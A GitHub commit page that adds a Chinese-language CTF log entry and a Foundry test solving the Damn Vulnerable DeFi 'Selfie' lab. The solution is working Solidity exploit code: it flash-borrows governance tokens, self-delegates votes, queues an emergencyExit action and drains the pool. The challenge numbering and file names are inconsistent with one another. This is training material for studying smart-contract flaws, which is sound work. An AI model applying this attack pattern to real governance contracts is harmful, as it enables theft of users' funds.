Skip to content

Commit

Permalink
update: DVD-06-Selfie
Browse files Browse the repository at this point in the history
  • Loading branch information
finn79426 committed Sep 20, 2024
1 parent d3b3431 commit 25c49e1
Show file tree
Hide file tree
Showing 2 changed files with 179 additions and 0 deletions.
64 changes: 64 additions & 0 deletions DeletedAccount.md
Original file line number Diff line number Diff line change
Expand Up @@ -1397,5 +1397,69 @@ function test_theRewarder() public checkSolvedByPlayer {
- 那這樣好像只能手動用 Foundry 作弊,快轉區塊時間 2 天了呢
- 明天補上 Exploit Code

### 2024.09.20

#### [DamnVulnerableDeFi-07] Compromised

- 通關條件: 把 `SelfiePool` 合約的 token 餘額偷走,轉到 recovery 帳號去
- 解法:
- 昨天的分析是正確的,可以參考 09.19 的解題分析內容。
- 我們需要做的是: 發起一個 `SelfiePool.flashLoan()`
-`SelfiePool` 合約的 voting token 借出來
- 呼叫 `token.delegate(address(this))` 使攻擊合約有足夠的 vote 可以通過 `SimpleGovernance._hasEnoughVotes()` 的檢查
-`SimpleGovernance` 發起一個 `queueAction()` 請求
- `queueAction(bytes calldata data)` 裡面帶入的參數是 `SelfiePool.emergencyExit(recovery)`
- 閃電貸還款
- 然後等待 2 天,使 queue 進去的 Action 足夠成熟 (可以用 Foundry 作弊碼快轉區塊時間)
- 然後呼叫 `SimpleGovernance.executeAction()` 來把 `SelfiePool` 的 voting token 全部拿出來

```solidity
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
function test_selfie() public checkSolvedByPlayer {
Hack hack = new Hack(token, governance, pool, recovery);
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data);
vm.warp(2 days + 1);
governance.executeAction(1);
}
contract Hack is IERC3156FlashBorrower {
DamnValuableVotes _token;
SimpleGovernance governance;
SelfiePool pool;
address recovery;
constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) {
_token = token;
governance = _governance;
pool = _pool;
recovery = _recovery;
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external override returns (bytes32) {
_token.delegate(address(this));
governance.queueAction(address(pool), 0, data);
IERC20(token).approve(msg.sender, type(uint256).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
```

- [DamnVulnerableDeFi-06-Selfie.t.sol](/Writeup/DeletedAccount/DamnVulnerableDeFi-06-Selfie.t.sol)


<!-- Content_END -->
115 changes: 115 additions & 0 deletions Writeup/DeletedAccount/DamnVulnerableDeFi-05-Selfie.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {DamnValuableVotes} from "../../src/DamnValuableVotes.sol";
import {SimpleGovernance} from "../../src/selfie/SimpleGovernance.sol";
import {SelfiePool} from "../../src/selfie/SelfiePool.sol";
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";

contract SelfieChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");

uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000e18;
uint256 constant TOKENS_IN_POOL = 1_500_000e18;

DamnValuableVotes token;
SimpleGovernance governance;
SelfiePool pool;

modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}

/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);

// Deploy token
token = new DamnValuableVotes(TOKEN_INITIAL_SUPPLY);

// Deploy governance contract
governance = new SimpleGovernance(token);

// Deploy pool
pool = new SelfiePool(token, governance);

// Fund the pool
token.transfer(address(pool), TOKENS_IN_POOL);

vm.stopPrank();
}

/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(address(pool.token()), address(token));
assertEq(address(pool.governance()), address(governance));
assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL);
assertEq(pool.maxFlashLoan(address(token)), TOKENS_IN_POOL);
assertEq(pool.flashFee(address(token), 0), 0);
}

/**
* CODE YOUR SOLUTION HERE
*/
function test_selfie() public checkSolvedByPlayer {
Hack hack = new Hack(token, governance, pool, recovery);

bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data);

vm.warp(2 days + 1);

governance.executeAction(1);
}

/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player has taken all tokens from the pool
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account");
}
}


contract Hack is IERC3156FlashBorrower {
DamnValuableVotes _token;
SimpleGovernance governance;
SelfiePool pool;
address recovery;

constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) {
_token = token;
governance = _governance;
pool = _pool;
recovery = _recovery;
}

function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external override returns (bytes32) {
_token.delegate(address(this));
governance.queueAction(address(pool), 0, data);

IERC20(token).approve(msg.sender, type(uint256).max);

return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}

0 comments on commit 25c49e1

Please sign in to comment.